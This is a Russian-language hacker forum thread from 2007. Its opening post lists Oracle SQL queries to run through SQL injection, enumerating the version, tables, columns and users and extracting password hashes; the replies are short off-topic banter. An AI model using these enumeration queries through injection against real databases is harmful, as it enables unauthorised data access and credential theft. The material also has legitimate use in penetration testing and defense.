SQL Injection в Oracle. Интересные запросы.

Discussion in 'Уязвимости' started by groundhog, 31 Aug 2007.

  1. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    SQL Injections веб-приложений, основанных на сервере баз данных Oracle неплохо освещены в соответствующих FAQ. Они имеют свои тонкости, отличные от инъекций в других базах данных. Но просматривая FAQ я не увидел подробной информации о том, что же можно поиметь с инъекций... Чтож, давайте развеем пелену таинственности над Oracle. Итак запросы:

    -- Получение данных о версии Oracle (будет несколько строк, обычно 5)
    SELECT * FROM V$VERSION;

    -- Получение данных о версии Oracle по строкам с перебором по ROWNUM
    SELECT T.B FROM (SELECT ROWNUM R, BANNER B FROM V$VERSION) T WHERE R=X

    -- Получение имён всех таблиц в БД
    SELECT TABLE_NAME FROM SYS.ALL_TABLES;

    -- Перебор имён таблиц по заданному NUMROW (возвращается одна строчка)
    SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R=X

    -- Перебор имён таблиц по заданному NUMROW из диапазона (возвращается несколько строк)
    SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R BETWEEN X AND X

    -- Перебор имён таблиц по заданному NUMROW c увеличением позиции (возвращается несколько строк)
    SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R>=X

    -- Получение количества записей в заданной таблице через NUMROW
    SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR FROM SYS.ALL_TABLES) T WHERE R=X

    -- Получение количества записей в заднной таблице через имя таблицы
    SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE TN='...';

    -- Перебор имён таблиц по заданному NUMROW в таблицах текущего пользователя (возвращается одна строчка)
    SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.USER_TABLES) T WHERE R=X

    -- Получение имён всех колонок в заданной таблице
    SELECT COLUMN_NAME FROM USER_TAB_COLUMNS WHERE TABLE_NAME='...';

    -- Перебор имён колонок в заданной таблице по ROWNUM
    SELECT T.CN FROM (SELECT ROWNUM R, COLUMN_NAME CN FROM USER_TAB_COLUMNS WHERE TABLE_NAME='...') T WHERE R=X

    -- Получение информации о типе заданной колонки в заданной таблице
    SELECT DATA_TYPE FROM USER_TAB_COLUMNS WHERE TABLE_NAME='...' AND COLUMN_NAME='...';

    -- Получение имён пользователей в базе данных
    SELECT USERNAME FROM USERS;

    -- Альтернативный метод получения объектов (таблицы, последвательности и синонимы) для заданного пользователя
    SELECT TABLE_NAME FROM ALL_CATALOG WHERE OWNER='...';

    -- Получение имён всех объектов заданного пользователя (индексы, таблицы, ограничения и т.д.)
    SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER='...'

    -- Получение хеша пароля (SHA1) заданного пользователя, но для этого нужны привелегии DBA
    -- При нормальной настройке 99.99% что их не будет
    SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='...'

    Разумеется, это сырые запросы и вам всё равно перед их использованием придётся подбирать количество столбцов, определять куда какое поле выводится, и какой тип значения можно засунуть в выводимое поле. Но об этом читаем FAQ.
     
    1 person likes this.
  2. xena-mil1

    xena-mil1 Elder - Старейшина

    Joined:
    17 Oct 2006
    Messages:
    13
    Likes Received:
    21
    Reputations:
    0
    dddd
     
    #2 xena-mil1, 2 Sep 2007
    Last edited: 29 Aug 2008
  3. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Нету там секретных документов.
     
  4. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    я рыдал)) Для особо одаренных написано - Unclassified. Ну выучите вы английский язык =\ хеккер с секретными документами на сайте))